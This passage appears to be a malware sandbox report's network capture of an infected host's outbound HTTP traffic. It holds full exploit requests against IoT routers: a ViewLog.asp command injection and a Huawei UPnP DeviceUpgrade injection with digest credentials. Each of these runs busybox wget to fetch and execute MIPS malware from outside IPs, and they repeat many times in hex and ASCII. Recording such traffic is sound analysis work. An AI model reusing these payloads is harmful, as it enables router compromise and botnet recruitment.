                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                81192.168.2.153406831.207.37.2418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.664720058 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:11.846679926 CET358INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:20:11 GMT
                                                Server: Apache
                                                Content-Length: 126
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e
                                                Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                82192.168.2.155748631.44.130.378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.753940105 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                83192.168.2.1540552156.253.44.9437215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.767769098 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:15.932728052 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:22.076433897 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:34.108140945 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:58.683443069 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:47.834229946 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                84192.168.2.1536396111.230.243.5023
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:11.880723953 CET219INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 32 30 3a 30 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:20:09Auth Result: Invalid user.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                85192.168.2.153529631.136.71.1468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:12.510232925 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:15.676707983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:21.820416927 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:33.852227926 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:58.683443069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
